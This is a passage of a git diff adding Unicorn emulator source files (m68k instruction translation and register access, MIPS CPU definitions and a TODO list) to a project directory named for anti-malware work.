codes. */ +static void disas_m68k_insn(CPUM68KState * env, DisasContext *s) +{ + TCGContext *tcg_ctx = s->uc->tcg_ctx; + uint16_t insn; + + if (unlikely(qemu_loglevel_mask(CPU_LOG_TB_OP | CPU_LOG_TB_OP_OPT))) { + tcg_gen_debug_insn_start(tcg_ctx, s->pc); + } + + // Unicorn: end address tells us to stop emulation + if (s->pc == s->uc->addr_end) { + gen_exception(s, s->pc, EXCP_HLT); + return; + } + + // Unicorn: trace this instruction on request + if (HOOK_EXISTS_BOUNDED(env->uc, UC_HOOK_CODE, s->pc)) { + gen_uc_tracecode(tcg_ctx, 2, UC_HOOK_CODE_IDX, env->uc, s->pc); + // the callback might want to stop emulation immediately + check_exit_request(tcg_ctx); + } + + insn = cpu_lduw_code(env, s->pc); + s->pc += 2; + + ((disas_proc)tcg_ctx->opcode_table[insn])(env, s, insn); +} + +/* generate intermediate code for basic block 'tb'. */ +static inline void +gen_intermediate_code_internal(M68kCPU *cpu, TranslationBlock *tb, + bool search_pc) +{ + CPUState *cs = CPU(cpu); + CPUM68KState *env = &cpu->env; + DisasContext dc1, *dc = &dc1; + uint16_t *gen_opc_end; + CPUBreakpoint *bp; + int j, lj; + target_ulong pc_start; + int pc_offset; + int num_insns; + int max_insns; + TCGContext *tcg_ctx = env->uc->tcg_ctx; + bool block_full = false; + + /* generate intermediate code */ + pc_start = tb->pc; + + dc->tb = tb; + dc->uc = env->uc; + + gen_opc_end = tcg_ctx->gen_opc_buf + OPC_MAX_SIZE; + + dc->env = env; + dc->is_jmp = DISAS_NEXT; + dc->pc = pc_start; + dc->cc_op = CC_OP_DYNAMIC; + dc->singlestep_enabled = cs->singlestep_enabled; + dc->fpcr = env->fpcr; + dc->user = (env->sr & SR_S) == 0; + dc->is_mem = 0; + dc->done_mac = 0; + lj = -1; + num_insns = 0; + max_insns = tb->cflags & CF_COUNT_MASK; + if (max_insns == 0) + max_insns = CF_COUNT_MASK; + + // Unicorn: early check to see if the address of this block is the until address + if (tb->pc == env->uc->addr_end) { + gen_tb_start(tcg_ctx); + gen_exception(dc, dc->pc, EXCP_HLT); + goto done_generating; + } + + // Unicorn: trace this block on request + // Only hook this block if it is not broken from previous translation due to + // full translation cache + if (!env->uc->block_full && HOOK_EXISTS_BOUNDED(env->uc, UC_HOOK_BLOCK, pc_start)) { + // save block address to see if we need to patch block size later + env->uc->block_addr = pc_start; + env->uc->size_arg = tcg_ctx->gen_opparam_buf - tcg_ctx->gen_opparam_ptr + 1; + gen_uc_tracecode(tcg_ctx, 0xf8f8f8f8, UC_HOOK_BLOCK_IDX, env->uc, pc_start); + } else { + env->uc->size_arg = -1; + } + + gen_tb_start(tcg_ctx); + do { + pc_offset = dc->pc - pc_start; + if (unlikely(!QTAILQ_EMPTY(&cs->breakpoints))) { + QTAILQ_FOREACH(bp, &cs->breakpoints, entry) { + if (bp->pc == dc->pc) { + gen_exception(dc, dc->pc, EXCP_DEBUG); + dc->is_jmp = DISAS_JUMP; + break; + } + } + if (dc->is_jmp) + break; + } + if (search_pc) { + j = tcg_ctx->gen_opc_ptr - tcg_ctx->gen_opc_buf; + if (lj < j) { + lj++; + while (lj < j) + tcg_ctx->gen_opc_instr_start[lj++] = 0; + } + tcg_ctx->gen_opc_pc[lj] = dc->pc; + tcg_ctx->gen_opc_instr_start[lj] = 1; + //tcg_ctx.gen_opc_icount[lj] = num_insns; + } + //if (num_insns + 1 == max_insns && (tb->cflags & CF_LAST_IO)) + // gen_io_start(); + dc->insn_pc = dc->pc; + disas_m68k_insn(env, dc); + num_insns++; + } while (!dc->is_jmp && tcg_ctx->gen_opc_ptr < gen_opc_end && + !cs->singlestep_enabled && + (pc_offset) < (TARGET_PAGE_SIZE - 32) && + num_insns < max_insns); + + /* if too long translation, save this info */ + if (tcg_ctx->gen_opc_ptr >= gen_opc_end || num_insns >= max_insns) + block_full = true; + + //if (tb->cflags & CF_LAST_IO) + // gen_io_end(); + if (unlikely(cs->singlestep_enabled)) { + /* Make sure the pc is updated, and raise a debug exception. */ + if (!dc->is_jmp) { + gen_flush_cc_op(dc); + tcg_gen_movi_i32(tcg_ctx, *(TCGv *)tcg_ctx->QREG_PC, dc->pc); + } + gen_helper_raise_exception(tcg_ctx, tcg_ctx->cpu_env, tcg_const_i32(tcg_ctx, EXCP_DEBUG)); + } else { + switch(dc->is_jmp) { + case DISAS_NEXT: + gen_flush_cc_op(dc); + gen_jmp_tb(dc, 0, dc->pc); + break; + default: + case DISAS_JUMP: + case DISAS_UPDATE: + gen_flush_cc_op(dc); + /* indicate that the hash table must be used to find the next TB */ + tcg_gen_exit_tb(tcg_ctx, 0); + break; + case DISAS_TB_JUMP: + /* nothing more to generate */ + break; + } + } + +done_generating: + gen_tb_end(tcg_ctx, tb, num_insns); + *tcg_ctx->gen_opc_ptr = INDEX_op_end; + + if (search_pc) { + j = tcg_ctx->gen_opc_ptr - tcg_ctx->gen_opc_buf; + lj++; + while (lj <= j) + tcg_ctx->gen_opc_instr_start[lj++] = 0; + } else { + tb->size = dc->pc - pc_start; + //tb->icount = num_insns; + } + + //optimize_flags(); + //expand_target_qops(); + + env->uc->block_full = block_full; +} + +void gen_intermediate_code(CPUM68KState *env, TranslationBlock *tb) +{ + gen_intermediate_code_internal(m68k_env_get_cpu(env), tb, false); +} + +void gen_intermediate_code_pc(CPUM68KState *env, TranslationBlock *tb) +{ + gen_intermediate_code_internal(m68k_env_get_cpu(env), tb, true); +} + +void restore_state_to_opc(CPUM68KState *env, TranslationBlock *tb, int pc_pos) +{ + TCGContext *tcg_ctx = env->uc->tcg_ctx; + env->pc = tcg_ctx->gen_opc_pc[pc_pos]; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/unicorn.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/unicorn.c new file mode 100644 index 0000000..f63d742 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/unicorn.c @@ -0,0 +1,122 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh , 2015 */ + +#include "hw/boards.h" +#include "hw/m68k/m68k.h" +#include "sysemu/cpus.h" +#include "unicorn.h" +#include "cpu.h" +#include "unicorn_common.h" +#include "uc_priv.h" + + +const int M68K_REGS_STORAGE_SIZE = offsetof(CPUM68KState, tlb_table); + +static void m68k_set_pc(struct uc_struct *uc, uint64_t address) +{ + ((CPUM68KState *)uc->current_cpu->env_ptr)->pc = address; +} + +void m68k_release(void* ctx); +void m68k_release(void* ctx) +{ + TCGContext *tcg_ctx; + int i; + + release_common(ctx); + tcg_ctx = (TCGContext *) ctx; + g_free(tcg_ctx->tb_ctx.tbs); + g_free(tcg_ctx->QREG_PC); + g_free(tcg_ctx->QREG_SR); + g_free(tcg_ctx->QREG_CC_OP); + g_free(tcg_ctx->QREG_CC_DEST); + g_free(tcg_ctx->QREG_CC_SRC); + g_free(tcg_ctx->QREG_CC_X); + g_free(tcg_ctx->QREG_DIV1); + g_free(tcg_ctx->QREG_DIV2); + g_free(tcg_ctx->QREG_MACSR); + g_free(tcg_ctx->QREG_MAC_MASK); + for (i = 0; i < 8; i++) { + g_free(tcg_ctx->cpu_dregs[i]); + g_free(tcg_ctx->cpu_aregs[i]); + } + g_free(tcg_ctx->NULL_QREG); + g_free(tcg_ctx->store_dummy); +} + +void m68k_reg_reset(struct uc_struct *uc) +{ + CPUArchState *env = uc->cpu->env_ptr; + + memset(env->aregs, 0, sizeof(env->aregs)); + memset(env->dregs, 0, sizeof(env->dregs)); + + env->pc = 0; +} + +int m68k_reg_read(struct uc_struct *uc, unsigned int *regs, void **vals, int count) +{ + CPUState *mycpu = uc->cpu; + int i; + + for (i = 0; i < count; i++) { + unsigned int regid = regs[i]; + void *value = vals[i]; + if (regid >= UC_M68K_REG_A0 && regid <= UC_M68K_REG_A7) + *(int32_t *)value = M68K_CPU(uc, mycpu)->env.aregs[regid - UC_M68K_REG_A0]; + else if (regid >= UC_M68K_REG_D0 && regid <= UC_M68K_REG_D7) + *(int32_t *)value = M68K_CPU(uc, mycpu)->env.dregs[regid - UC_M68K_REG_D0]; + else { + switch(regid) { + default: break; + case UC_M68K_REG_PC: + *(int32_t *)value = M68K_CPU(uc, mycpu)->env.pc; + break; + } + } + } + + return 0; +} + +int m68k_reg_write(struct uc_struct *uc, unsigned int *regs, void *const *vals, int count) +{ + CPUState *mycpu = uc->cpu; + int i; + + for (i = 0; i < count; i++) { + unsigned int regid = regs[i]; + const void *value = vals[i]; + if (regid >= UC_M68K_REG_A0 && regid <= UC_M68K_REG_A7) + M68K_CPU(uc, mycpu)->env.aregs[regid - UC_M68K_REG_A0] = *(uint32_t *)value; + else if (regid >= UC_M68K_REG_D0 && regid <= UC_M68K_REG_D7) + M68K_CPU(uc, mycpu)->env.dregs[regid - UC_M68K_REG_D0] = *(uint32_t *)value; + else { + switch(regid) { + default: break; + case UC_M68K_REG_PC: + M68K_CPU(uc, mycpu)->env.pc = *(uint32_t *)value; + // force to quit execution and flush TB + uc->quit_request = true; + uc_emu_stop(uc); + break; + } + } + } + + return 0; +} + +DEFAULT_VISIBILITY +void m68k_uc_init(struct uc_struct* uc) +{ + register_accel_types(uc); + m68k_cpu_register_types(uc); + dummy_m68k_machine_init(uc); + uc->release = m68k_release; + uc->reg_read = m68k_reg_read; + uc->reg_write = m68k_reg_write; + uc->reg_reset = m68k_reg_reset; + uc->set_pc = m68k_set_pc; + uc_common_init(uc); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/unicorn.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/unicorn.h new file mode 100644 index 0000000..5947186 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-m68k/unicorn.h @@ -0,0 +1,16 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh , 2015 */ + +#ifndef UC_QEMU_TARGET_M68K_H +#define UC_QEMU_TARGET_M68K_H + +// functions to read & write registers +int m68k_reg_read(struct uc_struct *uc, unsigned int *regs, void **vals, int count); +int m68k_reg_write(struct uc_struct *uc, unsigned int *regs, void *const *vals, int count); + +void m68k_reg_reset(struct uc_struct *uc); + +void m68k_uc_init(struct uc_struct* uc); + +extern const int M68K_REGS_STORAGE_SIZE; +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/Makefile.objs b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/Makefile.objs new file mode 100644 index 0000000..e43e509 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/Makefile.objs @@ -0,0 +1,3 @@ +obj-y += translate.o dsp_helper.o op_helper.o lmi_helper.o helper.o cpu.o +obj-y += msa_helper.o +obj-y += unicorn.o diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/TODO b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/TODO new file mode 100644 index 0000000..1d782d8 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/TODO @@ -0,0 +1,51 @@ +Unsolved issues/bugs in the mips/mipsel backend +----------------------------------------------- + +General +------- +- Unimplemented ASEs: + - MDMX + - SmartMIPS + - microMIPS DSP r1 & r2 encodings +- MT ASE only partially implemented and not functional +- Shadow register support only partially implemented, + lacks set switching on interrupt/exception. +- 34K ITC not implemented. +- A general lack of documentation, especially for technical internals. + Existing documentation is x86-centric. +- Reverse endianness bit not implemented +- The TLB emulation is very inefficient: + QEMU's softmmu implements a x86-style MMU, with separate entries + for read/write/execute, a TLB index which is just a modulo of the + virtual address, and a set of TLBs for each user/kernel/supervisor + MMU mode. + MIPS has a single entry for read/write/execute and only one MMU mode. + But it is fully associative with randomized entry indices, and uses + up to 256 ASID tags as additional matching criterion (which roughly + equates to 256 MMU modes). It also has a global flag which causes + entries to match regardless of ASID. + To cope with these differences, QEMU currently flushes the TLB at + each ASID change. Using the MMU modes to implement ASIDs hinges on + implementing the global bit efficiently. +- save/restore of the CPU state is not implemented (see machine.c). + +MIPS64 +------ +- Userland emulation (both n32 and n64) not functional. + +"Generic" 4Kc system emulation +------------------------------ +- Doesn't correspond to any real hardware. Should be removed some day, + U-Boot is the last remaining user. + +PICA 61 system emulation +------------------------ +- No framebuffer support yet. + +MALTA system emulation +---------------------- +- We fake firmware support instead of doing the real thing +- Real firmware (YAMON) falls over when trying to init RAM, presumably + due to lacking system controller emulation. +- Bonito system controller not implemented +- MSC1 system controller not implemented diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/cpu-qom.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/cpu-qom.h new file mode 100644 index 0000000..89581d4 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/cpu-qom.h @@ -0,0 +1,84 @@ +/* + * QEMU MIPS CPU + * + * Copyright (c) 2012 SUSE LINUX Products GmbH + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see + * + */ +#ifndef QEMU_MIPS_CPU_QOM_H +#define QEMU_MIPS_CPU_QOM_H + +#include "qom/cpu.h" + +#ifdef TARGET_MIPS64 +#define TYPE_MIPS_CPU "mips64-cpu" +#else +#define TYPE_MIPS_CPU "mips-cpu" +#endif + +#define MIPS_CPU_CLASS(uc, klass) \ + OBJECT_CLASS_CHECK(uc, MIPSCPUClass, (klass), TYPE_MIPS_CPU) +#define MIPS_CPU(uc, obj) ((MIPSCPU *)obj) +#define MIPS_CPU_GET_CLASS(uc, obj) \ + OBJECT_GET_CLASS(uc, MIPSCPUClass, (obj), TYPE_MIPS_CPU) + +/** + * MIPSCPUClass: + * @parent_realize: The parent class' realize handler. + * @parent_reset: The parent class' reset handler. + * + * A MIPS CPU model. + */ +typedef struct MIPSCPUClass { + /*< private >*/ + CPUClass parent_class; + /*< public >*/ + + DeviceRealize parent_realize; + void (*parent_reset)(CPUState *cpu); +} MIPSCPUClass; + +/** + * MIPSCPU: + * @env: #CPUMIPSState + * + * A MIPS CPU. + */ +typedef struct MIPSCPU { + /*< private >*/ + CPUState parent_obj; + /*< public >*/ + + CPUMIPSState env; +} MIPSCPU; + +static inline MIPSCPU *mips_env_get_cpu(CPUMIPSState *env) +{ + return container_of(env, MIPSCPU, env); +} + +#define ENV_GET_CPU(e) CPU(mips_env_get_cpu(e)) + +#define ENV_OFFSET offsetof(MIPSCPU, env) + +void mips_cpu_do_interrupt(CPUState *cpu); +bool mips_cpu_exec_interrupt(CPUState *cpu, int int_req); +hwaddr mips_cpu_get_phys_page_debug(CPUState *cpu, vaddr addr); +int mips_cpu_gdb_read_register(CPUState *cpu, uint8_t *buf, int reg); +int mips_cpu_gdb_write_register(CPUState *cpu, uint8_t *buf, int reg); +void mips_cpu_do_unaligned_access(CPUState *cpu, vaddr addr, + int is_write, int is_user, uintptr_t retaddr); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/cpu.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/cpu.c new file mode 100644 index 0000000..3b0d422 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/cpu.c @@ -0,0 +1,170 @@ +/* + * QEMU MIPS CPU + * + * Copyright (c) 2012 SUSE LINUX Products GmbH + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see + * + */ + +#include "cpu.h" +#include "qemu-common.h" +#include "hw/mips/mips.h" + + +static void mips_cpu_set_pc(CPUState *cs, vaddr value) +{ + MIPSCPU *cpu = MIPS_CPU(cs->uc, cs); + CPUMIPSState *env = &cpu->env; + + env->active_tc.PC = value & ~(target_ulong)1; + if (value & 1) { + env->hflags |= MIPS_HFLAG_M16; + } else { + env->hflags &= ~(MIPS_HFLAG_M16); + } +} + +static void mips_cpu_synchronize_from_tb(CPUState *cs, TranslationBlock *tb) +{ + MIPSCPU *cpu = MIPS_CPU(cs->uc, cs); + CPUMIPSState *env = &cpu->env; + + env->active_tc.PC = tb->pc; + env->hflags &= ~MIPS_HFLAG_BMASK; + env->hflags |= tb->flags & MIPS_HFLAG_BMASK; +} + +static bool mips_cpu_has_work(CPUState *cs) +{ + MIPSCPU *cpu = MIPS_CPU(cs->uc, cs); + CPUMIPSState *env = &cpu->env; + bool has_work = false; + + /* It is implementation dependent if non-enabled interrupts + wake-up the CPU, however most of the implementations only + check for interrupts that can be taken. */ + if ((cs->interrupt_request & CPU_INTERRUPT_HARD) && + cpu_mips_hw_interrupts_pending(env)) { + has_work = true; + } + + /* MIPS-MT has the ability to halt the CPU. */ + if (env->CP0_Config3 & (1 << CP0C3_MT)) { + /* The QEMU model will issue an _WAKE request whenever the CPUs + should be woken up. */ + if (cs->interrupt_request & CPU_INTERRUPT_WAKE) { + has_work = true; + } + + if (!mips_vpe_active(env)) { + has_work = false; + } + } + return has_work; +} + +/* CPUClass::reset() */ +static void mips_cpu_reset(CPUState *s) +{ + MIPSCPU *cpu = MIPS_CPU(s->uc, s); + MIPSCPUClass *mcc = MIPS_CPU_GET_CLASS(s->uc, cpu); + CPUMIPSState *env = &cpu->env; + + mcc->parent_reset(s); + + memset(env, 0, offsetof(CPUMIPSState, mvp)); + tlb_flush(s, 1); + + cpu_state_reset(env); +} + +static int mips_cpu_realizefn(struct uc_struct *uc, DeviceState *dev, Error **errp) +{ + CPUState *cs = CPU(dev); + MIPSCPUClass *mcc = MIPS_CPU_GET_CLASS(uc, dev); + + cpu_reset(cs); + qemu_init_vcpu(cs); + + mcc->parent_realize(uc, dev, errp); + + return 0; +} + +static void mips_cpu_initfn(struct uc_struct *uc, Object *obj, void *opaque) +{ + CPUState *cs = CPU(obj); + MIPSCPU *cpu = MIPS_CPU(uc, obj); + CPUMIPSState *env = &cpu->env; + + cs->env_ptr = env; + cpu_exec_init(env, opaque); + + if (tcg_enabled(uc)) { + mips_tcg_init(uc); + } +} + +static void mips_cpu_class_init(struct uc_struct *uc, ObjectClass *c, void *data) +{ + MIPSCPUClass *mcc = MIPS_CPU_CLASS(uc, c); + CPUClass *cc = CPU_CLASS(uc, c); + DeviceClass *dc = DEVICE_CLASS(uc, c); + + mcc->parent_realize = dc->realize; + dc->realize = mips_cpu_realizefn; + + mcc->parent_reset = cc->reset; + cc->reset = mips_cpu_reset; + + cc->has_work = mips_cpu_has_work; + cc->do_interrupt = mips_cpu_do_interrupt; + cc->cpu_exec_interrupt = mips_cpu_exec_interrupt; + cc->set_pc = mips_cpu_set_pc; + cc->synchronize_from_tb = mips_cpu_synchronize_from_tb; +#ifdef CONFIG_USER_ONLY + cc->handle_mmu_fault = mips_cpu_handle_mmu_fault; +#else + cc->do_unassigned_access = mips_cpu_unassigned_access; + cc->do_unaligned_access = mips_cpu_do_unaligned_access; + cc->get_phys_page_debug = mips_cpu_get_phys_page_debug; +#endif +} + +void mips_cpu_register_types(void *opaque) +{ + const TypeInfo mips_cpu_type_info = { + TYPE_MIPS_CPU, + TYPE_CPU, + + sizeof(MIPSCPUClass), + sizeof(MIPSCPU), + opaque, + + mips_cpu_initfn, + NULL, + NULL, + + NULL, + + mips_cpu_class_init, + NULL, + NULL, + + false, + }; + + type_register_static(opaque, &mips_cpu_type_info); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/cpu.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/cpu.h new file mode 100644 index 0000000..df4ec2b --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/cpu.h @@ -0,0 +1,901 @@ +#if !defined (__MIPS_CPU_H__) +#define __MIPS_CPU_H__ + +//#define DEBUG_OP + +#define ALIGNED_ONLY +#define TARGET_HAS_ICE 1 + +#define ELF_MACHINE EM_MIPS + +#define CPUArchState struct CPUMIPSState + +#include "config.h" +#include "qemu-common.h" +#include "mips-defs.h" +#include "exec/cpu-defs.h" +#include "fpu/softfloat.h" + +struct CPUMIPSState; + +typedef struct r4k_tlb_t r4k_tlb_t; +struct r4k_tlb_t { + target_ulong VPN; + uint32_t PageMask; + uint_fast8_t ASID; + uint_fast16_t G:1; + uint_fast16_t C0:3; + uint_fast16_t C1:3; + uint_fast16_t V0:1; + uint_fast16_t V1:1; + uint_fast16_t D0:1; + uint_fast16_t D1:1; + uint_fast16_t XI0:1; + uint_fast16_t XI1:1; + uint_fast16_t RI0:1; + uint_fast16_t RI1:1; + uint_fast16_t EHINV:1; + target_ulong PFN[2]; +}; + +#if !defined(CONFIG_USER_ONLY) +typedef struct CPUMIPSTLBContext CPUMIPSTLBContext; +struct CPUMIPSTLBContext { + uint32_t nb_tlb; + uint32_t tlb_in_use; + int (*map_address) (struct CPUMIPSState *env, hwaddr *physical, int *prot, target_ulong address, int rw, int access_type); + void (*helper_tlbwi)(struct CPUMIPSState *env); + void (*helper_tlbwr)(struct CPUMIPSState *env); + void (*helper_tlbp)(struct CPUMIPSState *env); + void (*helper_tlbr)(struct CPUMIPSState *env); + void (*helper_tlbinv)(struct CPUMIPSState *env); + void (*helper_tlbinvf)(struct CPUMIPSState *env); + union { + struct { + r4k_tlb_t tlb[MIPS_TLB_MAX]; + } r4k; + } mmu; +}; +#endif + +/* MSA Context */ +#define MSA_WRLEN (128) + +enum CPUMIPSMSADataFormat { + DF_BYTE = 0, + DF_HALF, + DF_WORD, + DF_DOUBLE +}; + +typedef union wr_t wr_t; +union wr_t { + int8_t b[MSA_WRLEN/8]; + int16_t h[MSA_WRLEN/16]; + int32_t w[MSA_WRLEN/32]; + int64_t d[MSA_WRLEN/64]; +}; + +typedef union fpr_t fpr_t; +union fpr_t { + float64 fd; /* ieee double precision */ + float32 fs[2];/* ieee single precision */ + uint64_t d; /* binary double fixed-point */ + uint32_t w[2]; /* binary single fixed-point */ +/* FPU/MSA register mapping is not tested on big-endian hosts. */ + wr_t wr; /* vector data */ +}; +/* define FP_ENDIAN_IDX to access the same location + * in the fpr_t union regardless of the host endianness + */ +#if defined(HOST_WORDS_BIGENDIAN) +# define FP_ENDIAN_IDX 1 +#else +# define FP_ENDIAN_IDX 0 +#endif + +typedef struct CPUMIPSFPUContext CPUMIPSFPUContext; +struct CPUMIPSFPUContext { + /* Floating point registers */ + fpr_t fpr[32]; + float_status fp_status; + /* fpu implementation/revision register (fir) */ + uint32_t fcr0; +#define FCR0_UFRP 28 +#define FCR0_F64 22 +#define FCR0_L 21 +#define FCR0_W 20 +#define FCR0_3D 19 +#define FCR0_PS 18 +#define FCR0_D 17 +#define FCR0_S 16 +#define FCR0_PRID 8 +#define FCR0_REV 0 + /* fcsr */ + uint32_t fcr31; +#define SET_FP_COND(num,env) do { ((env).fcr31) |= ((num) ? ((int)(1U << (((num) + 24) & 0x1f))) : (1 << 23)); } while(0) +#define CLEAR_FP_COND(num,env) do { ((env).fcr31) &= ~((num) ? ((int)(1U << (((num) + 24) & 0x1f))) : (1 << 23)); } while(0) +#define GET_FP_COND(env) ((((env).fcr31 >> 24) & 0xfe) | (((env).fcr31 >> 23) & 0x1)) +#define GET_FP_CAUSE(reg) (((reg) >> 12) & 0x3f) +#define GET_FP_ENABLE(reg) (((reg) >> 7) & 0x1f) +#define GET_FP_FLAGS(reg) (((reg) >> 2) & 0x1f) +#define SET_FP_CAUSE(reg,v) do { (reg) = ((reg) & ~(0x3f << 12)) | ((v & 0x3f) << 12); } while(0) +#define SET_FP_ENABLE(reg,v) do { (reg) = ((reg) & ~(0x1f << 7)) | ((v & 0x1f) << 7); } while(0) +#define SET_FP_FLAGS(reg,v) do { (reg) = ((reg) & ~(0x1f << 2)) | ((v & 0x1f) << 2); } while(0) +#define UPDATE_FP_FLAGS(reg,v) do { (reg) |= ((v & 0x1f) << 2); } while(0) +#define FP_INEXACT 1 +#define FP_UNDERFLOW 2 +#define FP_OVERFLOW 4 +#define FP_DIV0 8 +#define FP_INVALID 16 +#define FP_UNIMPLEMENTED 32 +}; + +#define NB_MMU_MODES 3 + +typedef struct CPUMIPSMVPContext CPUMIPSMVPContext; +struct CPUMIPSMVPContext { + int32_t CP0_MVPControl; +#define CP0MVPCo_CPA 3 +#define CP0MVPCo_STLB 2 +#define CP0MVPCo_VPC 1 +#define CP0MVPCo_EVP 0 + int32_t CP0_MVPConf0; +#define CP0MVPC0_M 31 +#define CP0MVPC0_TLBS 29 +#define CP0MVPC0_GS 28 +#define CP0MVPC0_PCP 27 +#define CP0MVPC0_PTLBE 16 +#define CP0MVPC0_TCA 15 +#define CP0MVPC0_PVPE 10 +#define CP0MVPC0_PTC 0 + int32_t CP0_MVPConf1; +#define CP0MVPC1_CIM 31 +#define CP0MVPC1_CIF 30 +#define CP0MVPC1_PCX 20 +#define CP0MVPC1_PCP2 10 +#define CP0MVPC1_PCP1 0 +}; + +typedef struct mips_def_t mips_def_t; + +#define MIPS_SHADOW_SET_MAX 16 +#define MIPS_TC_MAX 5 +#define MIPS_FPU_MAX 1 +#define MIPS_DSP_ACC 4 +#define MIPS_KSCRATCH_NUM 6 + +typedef struct TCState TCState; +struct TCState { + target_ulong gpr[32]; + target_ulong PC; + target_ulong HI[MIPS_DSP_ACC]; + target_ulong LO[MIPS_DSP_ACC]; + target_ulong ACX[MIPS_DSP_ACC]; + target_ulong DSPControl; + int32_t CP0_TCStatus; +#define CP0TCSt_TCU3 31 +#define CP0TCSt_TCU2 30 +#define CP0TCSt_TCU1 29 +#define CP0TCSt_TCU0 28 +#define CP0TCSt_TMX 27 +#define CP0TCSt_RNST 23 +#define CP0TCSt_TDS 21 +#define CP0TCSt_DT 20 +#define CP0TCSt_DA 15 +#define CP0TCSt_A 13 +#define CP0TCSt_TKSU 11 +#define CP0TCSt_IXMT 10 +#define CP0TCSt_TASID 0 + int32_t CP0_TCBind; +#define CP0TCBd_CurTC 21 +#define CP0TCBd_TBE 17 +#define CP0TCBd_CurVPE 0 + target_ulong CP0_TCHalt; + target_ulong CP0_TCContext; + target_ulong CP0_TCSchedule; + target_ulong CP0_TCScheFBack; + int32_t CP0_Debug_tcstatus; + target_ulong CP0_UserLocal; + + int32_t msacsr; + +#define MSACSR_FS 24 +#define MSACSR_FS_MASK (1 << MSACSR_FS) +#define MSACSR_NX 18 +#define MSACSR_NX_MASK (1 << MSACSR_NX) +#define MSACSR_CEF 2 +#define MSACSR_CEF_MASK (0xffff << MSACSR_CEF) +#define MSACSR_RM 0 +#define MSACSR_RM_MASK (0x3 << MSACSR_RM) +#define MSACSR_MASK (MSACSR_RM_MASK | MSACSR_CEF_MASK | MSACSR_NX_MASK | \ + MSACSR_FS_MASK) + + float_status msa_fp_status; +}; + +typedef struct CPUMIPSState CPUMIPSState; +struct CPUMIPSState { + TCState active_tc; + CPUMIPSFPUContext active_fpu; + + uint32_t current_tc; + uint32_t current_fpu; + + uint32_t SEGBITS; + uint32_t PABITS; + target_ulong SEGMask; + target_ulong PAMask; + + int32_t msair; +#define MSAIR_ProcID 8 +#define MSAIR_Rev 0 + + int32_t CP0_Index; + /* CP0_MVP* are per MVP registers. */ + int32_t CP0_Random; + int32_t CP0_VPEControl; +#define CP0VPECo_YSI 21 +#define CP0VPECo_GSI 20 +#define CP0VPECo_EXCPT 16 +#define CP0VPECo_TE 15 +#define CP0VPECo_TargTC 0 + int32_t CP0_VPEConf0; +#define CP0VPEC0_M 31 +#define CP0VPEC0_XTC 21 +#define CP0VPEC0_TCS 19 +#define CP0VPEC0_SCS 18 +#define CP0VPEC0_DSC 17 +#define CP0VPEC0_ICS 16 +#define CP0VPEC0_MVP 1 +#define CP0VPEC0_VPA 0 + int32_t CP0_VPEConf1; +#define CP0VPEC1_NCX 20 +#define CP0VPEC1_NCP2 10 +#define CP0VPEC1_NCP1 0 + target_ulong CP0_YQMask; + target_ulong CP0_VPESchedule; + target_ulong CP0_VPEScheFBack; + int32_t CP0_VPEOpt; +#define CP0VPEOpt_IWX7 15 +#define CP0VPEOpt_IWX6 14 +#define CP0VPEOpt_IWX5 13 +#define CP0VPEOpt_IWX4 12 +#define CP0VPEOpt_IWX3 11 +#define CP0VPEOpt_IWX2 10 +#define CP0VPEOpt_IWX1 9 +#define CP0VPEOpt_IWX0 8 +#define CP0VPEOpt_DWX7 7 +#define CP0VPEOpt_DWX6 6 +#define CP0VPEOpt_DWX5 5 +#define CP0VPEOpt_DWX4 4 +#define CP0VPEOpt_DWX3 3 +#define CP0VPEOpt_DWX2 2 +#define CP0VPEOpt_DWX1 1 +#define CP0VPEOpt_DWX0 0 + target_ulong CP0_EntryLo0; + target_ulong CP0_EntryLo1; +#if defined(TARGET_MIPS64) +# define CP0EnLo_RI 63 +# define CP0EnLo_XI 62 +#else +# define CP0EnLo_RI 31 +# define CP0EnLo_XI 30 +#endif + target_ulong CP0_Context; + target_ulong CP0_KScratch[MIPS_KSCRATCH_NUM]; + int32_t CP0_PageMask; + int32_t CP0_PageGrain_rw_bitmask; + int32_t CP0_PageGrain; +#define CP0PG_RIE 31 +#define CP0PG_XIE 30 +#define CP0PG_IEC 27 + int32_t CP0_Wired; + int32_t CP0_SRSConf0_rw_bitmask; + int32_t 